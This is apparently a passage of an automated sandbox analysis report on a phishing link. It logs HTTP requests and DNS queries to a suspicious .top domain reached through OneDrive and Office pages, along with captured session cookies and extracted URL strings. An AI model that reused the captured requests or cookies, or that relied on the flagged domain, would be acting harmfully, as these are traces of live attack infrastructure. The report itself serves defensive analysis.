cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /sig/3e4580d2e29f2b293129b8831ce74f87671b54c920c23 HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /homefbb248dcd1c4bc69ef98638dad6c7831 HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
Source: global traffic	HTTP traffic detected: GET /2svg/K14fhQc0UDRomo9 HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /fav/ktnax9Oo2WVDAz8 HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /logo_/56HKsrFDvmfPbCa HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /logo_/3e4580d2e29f2b293129b8831ce74f87671b54c920bc3 HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He

Source: global traffic	DNS traffic detected: DNS query: klickskydd.skolverket.org
Source: global traffic	DNS traffic detected: DNS query: onedrive.live.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: common.online.office.com
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: messaging.engagement.office.com
Source: global traffic	DNS traffic detected: DNS query: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top
Source: global traffic	DNS traffic detected: DNS query: spoprod-a.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: fa000000012.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: fa000000096.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: fa000000110.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: fa000000111.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: fa000000128.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: fa000000138.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: www.onenote.com
Source: global traffic	DNS traffic detected: DNS query: augloop.office.com
Source: global traffic	DNS traffic detected: DNS query: storage.live.com
Source: global traffic	DNS traffic detected: DNS query: onenoteonline.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: westeurope-pd02.augloop.office.com

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900C4F3X-BM-CBT: 1696488253X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: 1D6F504B5A5A465DBDB84F31C63A581DX-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900C4F3X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshldspcl40,msbdsborgv2co,msbwdsbi920cf,optfsth3,premsbdsbchtupcf,wsbfixcachec,wsbqfasmsall_c,wsbqfminiserp_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 516Connection: Keep-AliveCache-Control: no-cacheCookie: SRCHUID=V=2&GUID=CE2BE0509FF742BD822F50D98AD10391&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&HV=1696488191&IPMH=5767d621&IPMID=1696488252989&LUT=1696487541024; MUID=81C61E09498D41CC97CDBBA354824ED1; _SS=SID=1D9FAF807E686D422B86BC217FC66C71&CPID=1696488253968&AC=1&CPH=071f2185; _EDGE_S=SID=1D9FAF807E686D422B86BC217FC66C71; MUIDB=81C61E09498D41CC97CDBBA354824ED1

Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableCache-Control: privateTransfer-Encoding: chunkedContent-Type: text/htmlP3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR"Set-Cookie: X-CorrelationId: 42a1fd65-8e78-4f43-ad5e-9dbd38de295dX-UserSessionId: 42a1fd65-8e78-4f43-ad5e-9dbd38de295dStrict-Transport-Security: max-age=31536000Timing-Allow-Origin: *X-OfficeFE: SN3PEPF00017C7AX-OfficeVersion: 16.0.18214.41004X-OfficeCluster: PUS11X-Partitioning-Enabled: trueX-Content-Type-Options: nosniffX-Download-Options: noopenContent-Disposition: attachmentX-OFFICEFD: SN3PEPF00017C7AX-WacFrontEnd: SN3PEPF00017C7AX-Cache: CONFIG_NOCACHEX-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetestX-MSEdge-Features: afd_waccluster,afd_wordslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetestX-MSEdge-Ref: Ref A: 9FEE3EFAA8954EBA9B4CD1288B815D2D Ref B: DFW311000110009 Ref C: 2024-10-25T08:18:56ZDate: Fri, 25 Oct 2024 08:18:55 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: privateContent-Length: 1233Content-Type: text/htmlP3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR"Set-Cookie: X-CorrelationId: cfe276ce-d619-43b4-982b-45e05346a1ddX-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4Strict-Transport-Security: max-age=31536000Timing-Allow-Origin: *X-OfficeFE: SN3PEPF00017C89X-OfficeVersion: 16.0.18214.41004X-OfficeCluster: PUS11X-Partitioning-Enabled: trueX-OFFICEFD: SN3PEPF00017C89X-Cache: CONFIG_NOCACHEX-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetestX-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetestX-MSEdge-Ref: Ref A: 56F23CCEFD2241EB9F13FFA8295EA540 Ref B: DFW311000105033 Ref C: 2024-10-25T08:19:17ZDate: Fri, 25 Oct 2024 08:19:18 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:19:23 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: t/V0R40PmMRXGhfr2w3ioIj/geI88NU5muU=$Etuo2Hh7Q9HlZCmuServer: cloudflareCF-RAY: 8d80c8098a70e936-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:19:28 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: TJgRXWWpxSlIdXZePR7+//z01rP9B0c99dc=$MLhGsuQM68pVrxmQcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8d80c82a1c066c3b-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:19:37 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: 54c33tPiLoChdXbd3mWRuWhwODiu4vOF+/4=$ZlMmlMNTixK/Fcnfcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8d80c85f1d2f3ab0-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:19:40 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: /Z6OZfwF1jHConzM11wLjpz15aZPdkbwlD0=$e7feoJrZYWzft95IServer: cloudflareCF-RAY: 8d80c87439a14785-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:19:50 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: H0TkmjSeREr+O825xbmkXqPxX7wqcoB2ZcM=$6xAHYS/ML5S5qk6aServer: cloudflareCF-RAY: 8d80c8ae7b3ae591-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:19:53 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: JvXK3HwNGpCFynXg3n7yrYM5S3OV1NcKjvk=$d6xyMbpaNsBrdfW7cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8d80c8c5ef376b49-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:20:02 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: bEg/cLjm9pR32H8u/dntOT+588V7KYYUnbg=$U9WNyFpqdxObjdAXServer: cloudflareCF-RAY: 8d80c8f94aa2e542-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:20:06 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: u9npBMOQZ3JficqT3C0AsC9FWtTUoxMkf0s=$xVDq4DwBJ0MvOyePServer: cloudflareCF-RAY: 8d80c9139e7f4757-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:20:12 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: MQNJxYMqMjZPR7TT8vXH6HcVMset+LXnvu0=$PAsngbybJPKgYHynServer: cloudflareCF-RAY: 8d80c93c5c5da924-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:20:16 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: 7AkMz+rWcnRmQf5tCRmtvCyM9wmwtLNwL5M=$nOXYDDTJdMJm/1Zmcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XIan7JcuJjQ43AVDPwYiSBD5cdHlmqgBEqxRcu3l%2BqZx9OpUw8u%2BfZg%2F%2FT1bgDDjz5Sgkkk9cjSE30w4BGZzb%2FCNKtTSJLt5d%2FGNJbyJZlDe2hWzamclO%2BqzgNNKAIC9PmSkpu%2BSvorvpGDxv9kMrEE%2B12PmvToBlY0iOrzOi%2FphPM2Cs0la5Jm2yB6621qMSz%2F6XibjkHvj%2FpwFBsvfYQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d80c950bb0be73a-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2244&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2890&recv_bytes=1081&delivery_rate=1285397&cwnd=243&unsent_bytes=0&cid=8f9e6fe85434bde8&ts=143&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 08:20:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: BYPASSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S3D8JHTD%2FCuRxCus%2B7hgL366v9IX8KzE1QsNkOFaCNwedExxKVqrSN2evKvdljHW%2Fw9MonDrSaU7YaYTshpODIbYRCg56CJH%2Fp1fGOorEP%2Bp4GIk3X5QRPz8F6uzoYfzCglJpC8NOhy3THb5Hzs5YkTnDdaW73bdr93mutwa4oRdI5Mre3IVqtQ%2FGVTPr6eqOlPHDy4e38SpYRQUbaEalQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d80c98b793d4763-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1926&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2891&recv_bytes=1970&delivery_rate=1491246&cwnd=240&unsent_bytes=0&cid=050198908cb77611&ts=890&x=0"

Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: chromecache_304.7.dr, chromecache_437.7.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: chromecache_324.7.dr, chromecache_405.7.dr	String found in binary or memory: http://hammerjs.github.io/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: http://support.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: chromecache_288.7.dr	String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml
Source: chromecache_437.7.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://1drv.ms
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://Office.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: chromecache_317.7.dr, chromecache_226.7.dr	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.3.min.js
Source: chromecache_297.7.dr	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js
Source: chromecache_273.7.dr	String found in binary or memory: https://aka.ms/MathAssistantSupport?client_id=onenote_wac&platform_id=web&correlation_id=
Source: chromecache_273.7.dr	String found in binary or memory: https://aka.ms/OfficeAddinOverview
Source: chromecache_273.7.dr	String found in binary or memory: https://aka.ms/Officeaddins
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.aadrm.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: chromecache_273.7.dr	String found in binary or memory: https://api.addins.omex.office.net/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.addins.omex.office.net/api/addins/search
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
